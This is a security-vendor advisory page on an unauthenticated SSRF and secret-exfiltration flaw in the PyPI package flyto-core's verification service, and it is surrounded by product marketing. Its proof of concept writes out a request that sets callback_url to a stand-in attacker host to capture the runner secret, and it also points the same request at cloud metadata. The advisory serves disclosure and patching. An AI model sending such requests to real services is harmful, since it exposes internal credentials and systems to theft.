Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-jx74-cqjv-2c67

CRITICAL

GHSA-jx74-cqjv-2c67 is a critical-severity (CVSS 9.3) Missing Authentication vulnerability in flyto-core. O3 Security confirms whether GHSA-jx74-cqjv-2c67 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Also known asCVE-2026-67426
Published
Jul 30, 2026
Updated
Jul 30, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍flyto-core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause

  • src/core/verification_service.py:363-364/run has no Depends/auth dependency.
  • resolve_callback_url returns the client callback_url verbatim (:315-316).
  • post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
  • target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
  • Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

  1. Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
  2. Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
  3. Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
  4. Sink: post_callbacksession.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
  5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.

Affected Versions

<= 2.26.6verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.

Credit

Vulnerability discovered by zx (Jace).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIflyto-coreall versions2.26.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flyto-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update flyto-core to 2.26.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jx74-cqjv-2c67 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jx74-cqjv-2c67 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jx74-cqjv-2c67. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service's `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the
O3 Security · Impact-Aware SCA

Is GHSA-jx74-cqjv-2c67 in your dependencies?

O3 detects GHSA-jx74-cqjv-2c67 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.